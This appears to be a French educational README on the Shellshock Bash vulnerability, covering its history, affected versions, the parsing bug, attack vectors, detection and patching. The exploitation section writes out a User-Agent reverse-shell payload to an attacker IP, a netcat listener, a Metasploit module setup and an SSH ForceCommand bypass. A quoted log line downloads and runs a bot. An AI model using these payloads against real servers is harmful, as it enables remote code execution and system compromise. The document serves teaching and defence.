
Dépôt éducatif détaillant la vulnérabilité Shellshock (CVE-2014-6271), incluant l'analyse technique, les vecteurs d'attaque, l'exploitation de preuve de concept et les étapes d'atténuation pour l'injection de variables d'environnement Bash.
____ _ _ _____ _ _ ____ _ _ ___ ____ _ __
/ ___|| | | | ____| | | | / ___|| | | |/ _ \ / ___| |/ /
\___ \| |_| | _| | | | | \___ \| |_| | | | | | | ' /
___) | _ | |___| |___| |___ ___) | _ | |_| | |___| . \
|____/|_| |_|_____|_____|_____|____/|_| |_|\___/ \____|_|\_\
Exécution de code à distance via l'injection de variables d'environnement Bash
"Une faille qui est restée cachée dans Bash pendant des décennies et a ébranlé les fondations d'Internet en moins de 24 heures."
Shellshock (également connu sous le nom de Bashdoor) est une famille de vulnérabilités critiques dans l'interpréteur de commandes GNU Bash qui permet à un attaquant distant d'exécuter des commandes arbitraires sur le système cible.
L'erreur fondamentale : Bash ne s'arrêtait pas d'analyser une variable d'environnement après la fin de la définition d'une fonction. Tout code concaténé après () { :; }; était exécuté automatiquement.
Variable Env → Définition de fonction → [ICI EXÉCUTE DU CODE SUPPLÉMENTAIRE] ← BUG
Étant donné que les serveurs web (CGI/Apache), les services SSH et les clients DHCP convertissent des en-têtes ou paramètres en variables d'environnement de Bash, la surface d'attaque était massive.
12 sept. 2014 ──── Stéphane Chazelas découvre le bug et le signale à Chet Ramey (mainteneur de Bash)
Le bug existait dans Bash depuis plus de 20 ans.
24 sept. 2014 ──── Divulgation publique + publication du correctif (CVE-2014-6271)
Heures après : des botnets actifs scrutent massivement Internet.
25-30 sept. 2014 ── Découvertes de vulnérabilités apparentées :
CVE-2014-6277, CVE-2014-6278, CVE-2014-7169,
CVE-2014-7186, CVE-2014-7187
Oct. 2014 ──────── Des millions d'attaques enregistrées. Comparé en sévérité à Heartbleed.
| Produit | Versions vulnérables | Statut |
|---|---|---|
| GNU Bash | 1.0.3 – 4.3 | Corrigé |
| Linux (Debian/Ubuntu/CentOS/RHEL) | Versions antérieures à sept. 2014 | Corrigé |
| Apple macOS / OS X | 10.10 et antérieures | Corrigé (Security Update 2014-005) |
| Appareils IoT avec Bash embarqué | Multiples | Varie selon le fabricant |
| Serveurs web avec CGI sur Apache | Toute version avec Bash vulnérable | Corrigé |
Lorsque Bash importe une fonction depuis une variable d'environnement, il lit jusqu'à l'accolade fermante } de la fonction. Dans les versions vulnérables, il continuait à traiter le code suivant au lieu de s'arrêter.
# Variable d'environnement malveillante :
SHELLSHOCK='() { :; }; /bin/cat /etc/passwd'
# Bash vulnérable à l'initialisation :
# 1. Lit la définition de fonction → OK
# 2. Trouve }; → devrait s'arrêter
# 3. CONTINUE → exécute /bin/cat /etc/passwd ← BUG
Attaquant Serveur Apache (CGI) Bash (vulnérable)
│ │ │
│ Requête HTTP │ │
│ User-Agent: () { :;}; cmd │ │
│──────────────────────────────▶│ │
│ │ Convertit les en-têtes en env vars
│ │ HTTP_USER_AGENT=() { :;}; cmd │
│ │───────────────────────────────▶│
│ │ │ Exécute cmd
│ │ │ en tant que www-data
│◀──────────────────────────────│◀───────────────────────────────│
│ Réponse + sortie de cmd │ │
env x='() { :;}; echo VULNERABLE' bash -c "echo this is a test"
Résultat sur un système VULNÉRABLE :
VULNERABLE
this is a test
Résultat sur un système CORRIGÉ :
this is a test
(ou une erreur de syntaxe — n'affiche jamais "VULNERABLE")
Les serveurs web qui utilisent des scripts .cgi convertissent les en-têtes HTTP en variables d'environnement de Bash.
En-têtes affectés : User-Agent, Referer, Cookie, X-Forwarded-For, et tout en-tête personnalisé
# Si le serveur a ForceCommand configuré, un attaquant avec une clé valide peut le contourner
ssh user@target '() { :;}; /bin/bash'
Des serveurs DHCP malveillants peuvent injecter des variables d'environnement chez les clients qui utilisent Bash pour traiter la réponse DHCP.
# Tout processus qui hérite de variables d'environnement et exécute Bash
env VAR='() { :;}; commande_malveillante' bash -c "script_légitime"
nc -lvnp 4444
# Payload à injecter dans le User-Agent
() { :;}; /bin/bash -i >& /dev/tcp/IP_ATTAQUANT/4444 0>&1
curl -H "User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/192.168.1.10/4444 0>&1" \
http://site-vulnerable.com/cgi-bin/test.cgi
Connection received from 10.10.10.50
bash: no job control in this shell
sh-4.1$ id
uid=48(apache) gid=48(apache) groups=48(apache)
use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS <target>
set TARGETURI /cgi-bin/test.cgi
set LHOST <your_ip>
run
# Rechercher le motif caractéristique dans access.log
grep -E "\(\)\s*\{" /var/log/apache2/access.log
# Exemple de log malveillant :
# "() { :;}; wget http://malware.com/bot -O /tmp/x && chmod +x /tmp/x && /tmp/x"
# Processus fils de www-data/apache qui ne devraient pas exister
ps aux | grep www-data | grep -v grep
netstat -antup | grep ESTABLISHED
- Nouveaux fichiers exécutables dans /tmp, /var/tmp, /dev/shm
- Connexions sortantes depuis le serveur web vers des IP inconnues
- Modification de /etc/crontab ou /etc/passwd
- Processus bash tournant sous www-data sans terminal
# Debian / Ubuntu
sudo apt-get update && sudo apt-get install --only-upgrade bash
# RHEL / CentOS / Fedora
sudo yum update bash